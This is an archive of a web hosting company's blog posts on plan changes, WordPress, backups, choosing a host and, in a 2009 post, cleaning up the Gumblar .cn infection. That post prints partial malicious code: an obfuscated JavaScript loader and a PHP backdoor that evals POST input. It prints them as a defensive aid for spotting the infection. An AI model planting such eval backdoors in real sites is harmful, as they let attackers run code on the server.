Hosting

Now Accepting Bitcoin for Shared Hosting Services

December 21, 2013 in Hosting by SupremeCenterHosting  |  No Comments

Supreme Center Hosting is now accepting Bitcoin as payment for our shared hosting services. Bitcoin transactions will be processed via BitPay, which is trusted by WordPress.com and over 15,000 businesses, and compatible with a number of Bitcoin wallets.

Why GoDaddy Is So Bad

December 3, 2013 in Hosting by SupremeCenterHosting  |  No Comments

For years, GoDaddy has received much negative publicity.

Avoid for the following reasons:

Elephant killings
Supports SOPA
Tasteless ads
Frquent bugs
Bad customer feedback

GoDaddy Infographic

Planned Changes to Web Hosting Plans

November 26, 2010 in Hosting by SupremeCenterHosting  |  No Comments

We will be making some significant changes to our web hosting plans beginning January 1, 2011.

Our current plans are Apprentice, Director, Executive, Neophyte, Pioneer, Supreme, Premier, Specialist and Starter. After some sales analysis, we will be removing some plans that have not been preforming as well as other plans.

Beginning January 1st, We will be removing our Apprentice, Director, Specialist and Premier web hosting plans. The web hosting plans that will stay in effect after January 1st are Executive, Neophyte, Pioneer, Supreme and Starter.

Web Hosting Plans And Prices Effective January 1, 2011

Customers in the Director web hosting plan will be upgraded to Executive at no additional charge. The new price will be $12.50/month.

Customers in the Apprentice web hosting plan will be upgraded to Neophyte at no additional charge. The new price for the Neophyte plan will be $4.50/month.

Customers in the Specialist web hosting plan will be upgraded to Pioneer at no additional charge.The new price for the Pioneer plan will be $6.50/mo.

Customers in the Premier web hosting plan will be upgraded to Supreme at no additional charge. The new price for the Supreme plan will be $8.50/mo.

The pricing for the Starter web hosting plan will remain the same.

If you have any questions regarding the upcoming changes, please feel free to contact us.

WordPress Hosting

January 29, 2010 in Hosting, WordPress by SupremeCenterHosting  |  No Comments

WordPress is undoubtedly the most popular, feature rich open source blog publishing application used on millions of websites. It is useful as a content management system and much more with thousands of plugins that extend what WordPress initially can do.

Creating a web site using WordPress is easy when hosting with Supreme Center Hosting. We provide free, professional installation of the latest version of Word Press with any of our hosting plans. Additionally, you can install WordPress yourself via our hosting control panel using Fantastico De Luxe, or the recently added Installatron.

In addition to free installation of WordPress, we also offer website programming services for WordPress. Hosting customers are entitled to a 50% discount off our website programming fees.

Installatron now available

January 25, 2010 in Hosting by SupremeCenterHosting  |  No Comments

The Installatron system has been added to your hosting control panel. Installatron’s Open Installer Format allows you to create application installers, for any web application. You can browse the web applications available for installing via Installatron, find information about each application and links to homepages, documentation, online demos, FAQs, and support forums.

Install applications to any location within the HTTP and HTTPS directories of all domains, sub-domains, and addon-domains on your hosting account. This includes the root-directory and any sub-level directory. You can even install inside HTTP Password Protected directories.

You can view your installed applications, link directly to the website and its administration tool, view its files and database, and view information about the installed application. Installed application can be upgraded, backed up, and uninstalled. You can backup your installed applications at any time, and even restore a backup to its original “live” location.

You can receive notification emails when new versions of your installed applications becomes available. As soon as an application installer is updated, Installatron’s Upgrade Wizard will upgrade existing installed applications to the new version. Installatron even gives the option to create a backup during the upgrade. When an application is no longer needed it can be removed safely by Installatron’s Uninstall Wizard. Installatron’s Uninstall Wizard ensures only the right application files and database tables are removed, prompting the you for selection if the list cannot be ascertained automatically.

You can find Installatron under the files box in your Supreme Center Hosting control panel.

The Gumblar .cn Exploit – Worse Than The Swine Flu?

May 15, 2009 in Exploits, Hosting by SupremeCenterHosting  |  No Comments

One Supreme Center Hosting customer had an unrelenting experience with this exploit for over a month. Almost as soon as it was removed it would come back. The gumblar .cn exploit is said to include 1350 scripting exploits and 12 trojans. The gumblar .cn domain is currently blacklisted by Google. Google reports that it has 24 scripting exploit(s), 6 trojan(s). Here is some information we obtained on gumblar .cn:

Domain: gumblar. cn
IP: 94.229.65.172
Reverse Lookup: no.rdns-yet.ukservers.com
Registrant: TiankaiCui cuitiankai@googlemail.com

An IP address lookup found it was associated with:

Alexander A Solovyov
LIMT Group Ltd.
Karpinskogo 97a
Moscow
111423
Russian Federation

The ARIN info on the IP address “belongs to” UK Dedicated Servers Limited. We contacted UK Dedicated Servers abuse department via email and received this response from David Howes:

“Thanks for your concern, we have been made aware of this issue already and removed this server from our network. We are now in the process of contacting the relevant authorities to provide them with as much information as possible.”

“Having spent the last hour or so researching this compromise/exploit it does seem to have been around for a little while, and I am rather surprised that given the number of newsgroup/forum/blog articles etc regarding it you are the first to have contacted us about it.

I only found out about the issue a couple of hours ago, when it was pointed out to me by an acquaintance. I decided to look through our abuse inbox to see if there was any reference to it and yours was the only email we have on the subject!!”

Not sure if you have been infected? Hop on over to Unmask Parasites and scan your website.

If you are fighting this exploit, here are some things you need to know.

Infected websites contain JavaScript code that may look like this [partial code displayed]:

(function(jil){var xR5p=’%’;eval(unescape((

Every infected website has it’s own version of the script, with each version having common code which can easily identify the malicious code as the gumblar .cn exploit.

The javascript code starts with “(function(.” The function has no name and some characters are replaced with their numeric value. The “%” character is replaced with some arbitrary character. Near the end of the script there is a “.replace(” function. If the function accepts variables, at the very end you might find a regular expression such as /”/g or /~/g that will decrypt the “%” character.

When the script is executed, another script is loaded and executed. This code is usually injected right before the body tag but can be found in other parts of the page. Unlike the recent iframe exploits, the gumblar exploit is injected into every web page including .js (JavaScript) files [usually at the bottom]. Perhaps coincidental, its seems most of the infected sites use PHP.

PHP files contain code that may look like this [partial code displayed]:

< ?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);if(!defined(’TMP_XHGFJOKL’))
define(’TMP_XHGFJOKL’,base64_decode

It is safe to say that the exploit is not server-wide. We checked the server our client is on and it was the only site that was infected. The exploit may be caused by compromised FTP credentials.

A good place to start is with your own computer. Scan it for malware/spyware/virus’s. You might try downloading and scanning your system with Malwarebytes. Update the software and run it in safemode (press F8 on startup) and remove all malware from your system, if present.

After you have completely scanned your system, change FTP passwords. It also would not hurt to change ALL passwords [cPanel, MySQL databases]. Then remove the malicious code from all infected files (.html, .php, .js). If you have a backup of your website, use it. We ended up having to delete all files from our clients account and restored a full backup – so far, so good.

Malicious code has been know to use older versions of Adobe Acrobat Reader. The adobe_updater can be a legitimate Adobe Auto Updater service that starts every time you launch Adobe products. Since the virus needs to open Acrobat Reader, it also triggers the updater. There are known security issues in the latest (9.1) version of Adobe Acrobat Reader, and Adobe suggests that you disable the JavaScript support altogether.

It has also been suggested that Adobe Flash Player may also be affected. When updating Adobe Acrobat Reader, you should update Adobe Flash Player as well.

Exploit Infection Prevention

How does one prevent the spread of a nasty virus? First, thoroughly wash your hands with soap & water [yes, you do need to use soap!]. After you hands are free of all nasal mucus, update your anti-virus and malware/spyware applications.

It is said that resistance to, and recovery from viral infections, will depend on the interactions that occur between virus and host. To prevent or limit infection, the host needs barriers that are inherent to the organism. These barriers represent the first line of defense which function to prevent or limit infection. Its no secret that Internet Explorer lacks the necessary barriers. Stop using Internet Explorer. We suggest that you use Firefox with the NoScript add-on. As Benjamin Franklin said, “An ounce of prevention is worth a pound of cure.”

Update your scripts to the latest version[s]. Keeping them updated is your responsibility as a hosting customer.

Why it is important to backup your website data

November 10, 2008 in Hosting by SupremeCenterHosting  |  No Comments

We had a server outage last week that effected about 25 shared hosting customers due to a hard drive failure. Coincidentally, the Supreme Center Hosting corporate websites were also down when our drive failed as well. Anyone in this industry, or who has had a website for any length of time knows that hardware failures are as incalculable as is mother nature. We emailed updates to the effected customers almost daily and had suggested that, if any customer had a backup of their account, even a home directory and database backup, to please email us so that we could get their data restored on new servers. Needless to say, we here at Supreme Center hosting spent countless hours working to restore all effected customers, but our effort was ineffective. Fortunately, we had enough data in our office to restore 19 customer accounts – the remaining 6 were a total loss due to corrupt remote backups. Our corporate data, including site files and databases which included customer data, account info etc, was also lost.

Why tell everyone about the hard drive failures and loss of data? Are you trying to scare customers away? No. I say this simply because some lessons are better learned the hard way. The failure of hardware and loss of data was frustrating to me to say the least. What I found to be more frustrating was how many of the 25 effected customers that had absolutely no backups of any kind. There was one customer who was clever enough to backup his files, but failed to backup the databases for his dozen or so websites. Customer data is obviously important to any hosting provider. Important enough that we do daily backups and weekly remote backups of data. However, that can not in anyway be considered a fail-safe, anything can happen and in this case, it did.

Each effected customer who’s account we could not restore emailed and pleaded with us to restore their data. Each one seemed genuinely concerned about their website and obviously their data was important to them, but not important enough to take the time to backup do a full backup of their account. Not even a home directory or database backup was produced by the 6 customers who lost all their data. I am not about to suggest that a single one of them is unintelligent. I do have to ask how it is possible for someone to pay for shared hosting, create a website and then not do anything to protect their investment. I ask myself, “self, how is it possible that so many of your customers failed to backup their precious data?”

Some of you are probably asking yourself… “didn’t he say that Supreme Center Hosting lost their data as well?” Aahhh yes, it is true we were effected also. However, we do an additional account backup of our data which is stored separately from customer data. Therefore, we were able to restore our sites and get back on line without a hitch. Seeing as we offer our hosting customers cPanel, it is just as easy and painless for all our customers to backup their data too.

I kept asking myself, “why don’t these customers have backups of their data?” It occurred to me that website data is probably as important to most people as is other possessions you might have in your home. So, would you:

1. Go out of town on vacation and leave your door and windows open?
2. Place your important documents [insurance papers, will, stock certificates] in a cardboard shoe box and leave it next to your fireplace?
3. Store all your family heirlooms and photos next to your water heater?

I am willing to bet that most of you would lock up when leaving on vacation, would keep your important papers in a safe or something similar and would store your family heirlooms and photo’s in an area that is free from humidity and/or a water source. So, why is it that so many people don’t take the same precautions with their website data? Its hard to replace that one-of-a-kind photo. Costly to have your will rewritten or your furniture replaced. There is a reason we use the word “invaluable” when describing certain things we find important to us.

Lesson learned, we hope. In light of the recent loss of data we have implemented a mandatory, but unenforceable rule. All our customers are “required” to backup their data. The rate of backup should depend on how often you work on your site. Sites that are not modified often can probably get away with a monthly full backup. Sites where files are rarely modified, but a database is used, than a database backup should be taken at least weekly. If the database is updated frequently than the database backup should also be more frequent and it is suggested that it be done daily. However, you should still be doing a full account backup at least weekly.

What is the moral of this story? I have always said this to people in forums, email and even on the phone… backup, backup, backup. If you are not sure, backup. If you just did a backup, it does not hurt to backup again. One can never have enough backups.

What to look for in a hosting company

October 26, 2008 in Hosting by SupremeCenterHosting  |  No Comments

Type “hosting” at Google and you will find that there are currently 439,000,000 results for the search term … you should not have any trouble finding the perfect host for you and your website. However, its always best to start by asking friends or family who may already have a website who they recommend. A good review from someone you trust is far more valuable than reviews from people you don’t know. Visiting the countless hosting review sites can be a little daunting and the fact is, you will find that many of them “recommend” the same 5-10 hosting companies. The reason being is hosting companies pay for the reviews or for featured listings.

Before you decide on a host make sure that the host trustworthy and reliable, it is always worthwhile noting how long the company has been in business. Unfortunately anyone can set up a web hosting company, unless you ask the right questions you will not be able to judge the competence of any hosting company.

If you are new to websites and web hosting in general, it would be wise to host your sites with am established web hosting company. They are capable of dealing with less technically adept customers and are willing to go the extra mile. Due to their size, an established host is normally more flexible when it comes to upgrading your hosting plan, providing a payment plan of your choice and they have more servers available than the smaller hosting companies. It may also be wise to pick a host that may offer some support for the application that you may plan on using. Most hosts will not provide support for third party applications such as WordPress, Joomla or osCommerce, so you may not have them to rely on should something go wrong – Supreme Center Hosting is one of few hosting companies that provides limited support for many open source applications. Some hosts will even provide free professional installations of popular applications. Another suggestion would be to choose a host that may offer additional products and services such as SSL certificates, website programming or even managed services – you never know when you might need additional services and your host will normally give discounts to their customers for additional products or services they might need.

When looking for a host, first decide how much disk space and bandwidth you might need. Although this is not normally a deal breaker as you can always upgrade your plan should the need for more space or transfer arise. However, you do want to make sure that the host you plan to use and the plan you choose has the correct specs for the application you plan to use – you don’t want to choose a unix host when you plan on using an application that is coded in ASP.

If you are currently hosting a website and are planning on moving to a new hosting provider, it might be wise to look for a host that can help you with the transition. Many hosting companies, such as Supreme Center Hosting, provide free transfer services for customers who are using cPanel. This makes the transition that much easier and you will have less to do in order to get your site up and going with your new host.